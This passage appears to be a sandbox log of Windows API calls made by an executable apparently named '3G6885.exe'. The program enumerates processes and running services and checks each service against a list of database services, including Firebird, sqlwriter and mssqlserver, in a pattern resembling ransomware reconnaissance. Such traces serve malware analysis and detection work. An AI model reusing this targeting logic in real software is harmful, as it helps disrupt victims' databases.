cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.092] lstrlenW (lpString="svchost.exe") returned 11 [0155.092] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0155.092] lstrlenW (lpString="spoolsv.exe") returned 11 [0155.092] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0155.093] lstrlenW (lpString="taskhost.exe") returned 12 [0155.093] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.093] lstrlenW (lpString="svchost.exe") returned 11 [0155.093] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0155.093] lstrlenW (lpString="userinit.exe") returned 12 [0155.093] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0155.094] lstrlenW (lpString="dwm.exe") returned 7 [0155.094] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0155.094] lstrlenW (lpString="explorer.exe") returned 12 [0155.094] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0155.095] lstrlenW (lpString="3G6885.exe") returned 10 [0155.095] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0155.095] lstrlenW (lpString="reader_sl.exe") returned 13 [0155.095] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="drvinst.exe")) returned 1 [0155.095] lstrlenW (lpString="drvinst.exe") returned 11 [0155.095] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0155.096] lstrlenW (lpString="taskhost.exe") returned 12 [0155.096] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0155.096] lstrlenW (lpString="consent.exe") returned 11 [0155.096] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0155.097] lstrlenW (lpString="dllhost.exe") returned 11 [0155.097] Process32NextW (in: hSnapshot=0x368, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0155.097] CloseHandle (hObject=0x368) returned 1 [0155.097] Sleep (dwMilliseconds=0x1f4) [0156.481] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d8798 [0156.482] EnumServicesStatusExW (in: hSCManager=0x41d8798, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0156.482] GetLastError () returned 0xea [0156.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x11e4) returned 0x41d9f00 [0156.483] EnumServicesStatusExW (in: hSCManager=0x41d8798, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d9f00, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d9f00, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0156.484] CloseServiceHandle (hSCObject=0x41d8798) returned 1 [0156.484] lstrlenW (lpString="Appinfo") returned 7 [0156.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0156.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0156.484] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0156.484] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0156.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0156.484] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0156.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0156.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0156.485] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0156.485] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0156.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0156.485] lstrlenW (lpString="AudioSrv") returned 8 [0156.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0156.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0156.485] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0156.485] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0156.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0156.485] lstrlenW (lpString="BFE") returned 3 [0156.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0156.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0156.485] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0156.485] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0156.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0156.485] lstrlenW (lpString="CryptSvc") returned 8 [0156.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0156.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0156.485] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0156.485] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0156.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0156.485] lstrlenW (lpString="CscService") returned 10 [0156.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0156.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0156.485] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0156.485] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0156.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0156.485] lstrlenW (lpString="DcomLaunch") returned 10 [0156.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0156.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0156.485] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0156.485] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0156.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0156.486] lstrlenW (lpString="Dhcp") returned 4 [0156.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0156.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0156.486] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0156.486] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0156.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0156.486] lstrlenW (lpString="Dnscache") returned 8 [0156.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0156.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0156.486] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0156.486] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0156.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0156.486] lstrlenW (lpString="DPS") returned 3 [0156.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0156.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0156.486] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0156.486] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0156.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0156.486] lstrlenW (lpString="eventlog") returned 8 [0156.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0156.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0156.486] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0156.486] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0156.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0156.486] lstrlenW (lpString="EventSystem") returned 11 [0156.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0156.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0156.486] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0156.486] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0156.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0156.486] lstrlenW (lpString="gpsvc") returned 5 [0156.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0156.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0156.487] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0156.487] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0156.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0156.487] lstrlenW (lpString="iphlpsvc") returned 8 [0156.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0156.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0156.487] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0156.487] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0156.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0156.487] lstrlenW (lpString="LanmanServer") returned 12 [0156.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0156.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0156.487] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0156.487] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0156.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0156.487] lstrlenW (lpString="LanmanWorkstation") returned 17 [0156.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0156.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0156.487] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0156.487] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0156.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0156.487] lstrlenW (lpString="lmhosts") returned 7 [0156.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0156.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0156.487] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0156.487] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0156.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0156.487] lstrlenW (lpString="MMCSS") returned 5 [0156.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0156.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0156.488] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0156.488] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0156.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0156.488] lstrlenW (lpString="MpsSvc") returned 6 [0156.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0156.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0156.488] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0156.488] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0156.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0156.488] lstrlenW (lpString="Netman") returned 6 [0156.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0156.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0156.488] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0156.488] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0156.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0156.488] lstrlenW (lpString="netprofm") returned 8 [0156.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0156.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0156.488] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0156.488] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0156.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0156.488] lstrlenW (lpString="NlaSvc") returned 6 [0156.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0156.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0156.488] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0156.488] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0156.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0156.488] lstrlenW (lpString="nsi") returned 3 [0156.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0156.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0156.489] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0156.489] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0156.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0156.489] lstrlenW (lpString="PcaSvc") returned 6 [0156.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0156.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0156.489] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0156.489] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0156.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0156.489] lstrlenW (lpString="PlugPlay") returned 8 [0156.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0156.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0156.489] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0156.489] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0156.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0156.489] lstrlenW (lpString="Power") returned 5 [0156.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0156.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0156.489] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0156.489] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0156.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0156.489] lstrlenW (lpString="ProfSvc") returned 7 [0156.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0156.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0156.489] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0156.489] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0156.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0156.489] lstrlenW (lpString="RpcEptMapper") returned 12 [0156.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0156.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0156.489] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0156.490] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0156.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0156.490] lstrlenW (lpString="RpcSs") returned 5 [0156.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0156.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0156.490] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0156.490] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0156.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0156.490] lstrlenW (lpString="SamSs") returned 5 [0156.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0156.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0156.490] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0156.490] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0156.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0156.490] lstrlenW (lpString="Schedule") returned 8 [0156.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0156.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0156.490] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0156.490] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0156.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0156.490] lstrlenW (lpString="SENS") returned 4 [0156.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0156.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0156.490] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0156.490] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0156.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0156.490] lstrlenW (lpString="ShellHWDetection") returned 16 [0156.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0156.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0156.490] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0156.491] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0156.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0156.491] lstrlenW (lpString="Spooler") returned 7 [0156.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0156.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0156.491] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0156.491] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0156.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0156.491] lstrlenW (lpString="SysMain") returned 7 [0156.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0156.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0156.491] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0156.491] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0156.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0156.491] lstrlenW (lpString="Themes") returned 6 [0156.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0156.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0156.491] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0156.491] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0156.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0156.491] lstrlenW (lpString="TrkWks") returned 6 [0156.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0156.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0156.491] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0156.491] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0156.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0156.491] lstrlenW (lpString="UxSms") returned 5 [0156.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0156.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0156.491] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0156.492] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0156.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0156.492] lstrlenW (lpString="WdiServiceHost") returned 14 [0156.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0156.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0156.492] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0156.492] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0156.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0156.492] lstrlenW (lpString="WdiSystemHost") returned 13 [0156.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0156.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0156.492] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0156.492] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0156.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0156.492] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0156.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0156.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0156.492] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0156.492] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0156.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0156.492] lstrlenW (lpString="Winmgmt") returned 7 [0156.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0156.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0156.492] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0156.492] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0156.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0156.492] lstrlenW (lpString="WPDBusEnum") returned 10 [0156.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0156.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0156.493] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0156.493] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0156.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0156.493] HeapFree (in: hHeap=0x300000, 